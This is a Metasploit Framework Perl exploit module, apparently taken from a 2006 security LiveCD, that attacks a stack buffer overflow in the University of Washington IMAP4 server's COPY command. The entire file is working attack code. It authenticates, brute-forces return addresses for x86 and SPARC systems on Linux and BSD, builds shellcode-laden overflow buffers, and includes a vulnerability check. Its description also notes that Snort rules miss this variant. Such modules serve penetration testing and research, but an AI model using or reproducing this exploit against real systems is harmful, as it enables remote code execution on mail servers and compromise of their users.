Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/usr/lib/metasploit/exploits/uow_imap4_copy.pm

Perl POD Document | 2006-06-30 | 5.1 KB | 232 lines

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::uow_imap4_copy;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced =
  {
    'AlignPayload' => [1, 'What boundary to align on'],
  };

my $info =
  {
    'Name'  => 'University of Washington IMAP4 COPY Overflow',
    'Version'  => '$Revision: 1.20 $',
    'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],
    'Arch'  => [ 'x86', 'sparc' ],
    'OS'    => [ 'bsd', 'linux' ],
    'Priv'  => 0,

    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 143],
        'USER'  => [1, 'DATA', 'User name'],
        'PASS'  => [1, 'DATA', 'Password'],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
      },

    'Payload' =>
      {
        'Space' => 1000,
        'MinNops' => 700,
        'BadChars' => "\x00/",
        'Keys' => ['+findsock', '+inetd'],
      },

    'Description'  => Pex::Text::Freeform(qq{
        This exploits a buffer overflow in the COPY command. An overly long
        argument causes a classic stack buffer overflow.

        Snort's imap.rules detects the LIST, RENAME, LSUB, and FIND overflows
        but does not catch COPY (12/10/04).
}),

    'Refs'  =>
      [
        ['BID', '1110'],
        ['OSVDB', '12037'],
        ['MIL', '70'],
      ],

    'Targets' =>
      [
        [ "Linux / x86 stack bruteforce", 0xbffffcd0, 0xbfa00000, 700, 1096, \&Payloadx86 ],
        [ "FreeBSD / x86 stack bruteforce", 0xbfbffcd0, 0xbf100000, 700, 1096, \&Payloadx86 ],

# These 2 could be consolidated and you'd get 5-6 useless hits on Linux but it's better this way.
        [ "NetBSD / sun4m stack bruteforce", 0xeffffcd0, 0xefa00000, 720, 1084, \&PayloadSPARC ],
        [ "Linux / sun4m stack bruteforce", 0xefffecd0, 0xefa00000, 720, 1084, \&PayloadSPARC ],
        [ "OpenBSD / sun4m stack bruteforce", 0xf7fffca0, 0xf7a00000, 720, 1084, \&PayloadSPARC ],
      ],

    'Keys'  => ['imap'],

    'DisclosureDate' => 'Apr 16 2000',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Exploit {
    my $self = shift;
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

    my $target = $self->Targets->[$target_idx];
    my $curr_ret;

    if (! $self->InitNops(128))
    {
        $self->PrintLine("[*] Failed to initialize the nop module.");
        return;
    }

    $self->PrintLine(sprintf("[*] Starting bruteforce mode for target %s.", $target->[0]));

    for (
        $curr_ret  = $target->[1];
        $curr_ret >= $target->[2];
        $curr_ret -= $target->[3]
      )
    {
        if(!($curr_ret & 0xff) || ($curr_ret & 0xff) == 0x20)
        {
            $curr_ret += 8;
        }
        if(!($curr_ret & 0xff00) || ($curr_ret & 0xff00) == 0x2000)
        {
            $curr_ret -= 0x0100;
        }

        my $s = Login($self);
        if($s == -1)
        {
            return;
        }

        $self->PrintLine(sprintf("[*] Trying return address 0x%.8x...", $curr_ret));
        $s->Send(sprintf("1 UID COPY 1:2 {%i}\r\n", $target->[4] + 1));
        $s->Recv(-1);
        $s->Send(Pex::Text::AlphaNumText($self->GetVar('AlignPayload')) . $target->[5]->($self, $curr_ret, $shellcode) . "\r\n");

        $self->Handler($s);
        $s->Close();
        undef($s);
    }

    return;
}

sub Check {
    my $self = shift;

    my $s = Login($self);
    if($s == -1)
    {
        return;
    }

    $s->Send("1 UID COPY 1:2 {1096}\r\n");
    $s->Recv(-1);
    $s->Send(Pex::Text::AlphaNumText(1096) . "\r\n");
    my $reply = $s->Recv(-1);

    if(!$reply)
    {
        $self->PrintLine("[*] Vulnerable server.");
        return $self->CheckCode('Confirmed');
    }

    $self->PrintLine("[*] Server is probably not vulnerable.");
    return $self->CheckCode('Safe');
}

sub Login {
    my $self = shift;

    my $user = $self->GetEnv('USER');
    my $pass = $self->GetEnv('PASS');

    my $sock = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $self->GetVar('RHOST'),
        'PeerPort'  => $self->GetVar('RPORT'),
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );
    if ($sock->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $sock->GetError);
        return -1;
    }

    $sock->Send(sprintf("1 LOGIN \"%s\" \"%s\"\r\n", $user, $pass));
    my $reply = $sock->Recv(-1);
    if(!$reply || $reply !~ /1 OK/)
    {
        $self->PrintLine('[*] Authentication failed.');
        return -1;
    }
    undef($reply);

    # XXX: Create random dirname
    $sock->Send("1 CREATE MISC\r\n");
    $sock->Recv(-1);
    $sock->Send("1 SELECT MISC\r\n");
    $sock->Recv(-1);

    return $sock;
}

sub Payloadx86 {
    my $self = shift;
    my $ret = shift;
    my $sc = shift;

    my $buf;

    # XXX: More precision.
    $buf = $sc . pack("V", $ret) x 24;

    return $buf;
}

sub PayloadSPARC {
    my $self = shift;
    my $ret = shift;
    my $sc = shift;

    my $buf;

    $buf = $self->MakeNops(20) . $sc . pack("N", $ret) x 16;

    return $buf;
}

sub PayloadPrependEncoder {
    my $self = shift;
    my $target_idx  = $self->GetVar('TARGET');
    my $target = $self->Targets->[$target_idx];

    if($target->[0] =~ /x86/)
    {
        return "\x66\x81\xec\xe8\x03";
    }
    elsif($target->[0] =~ /sun4/)
    {
        return "\x9c\x23\xa3\xe8";
    }
}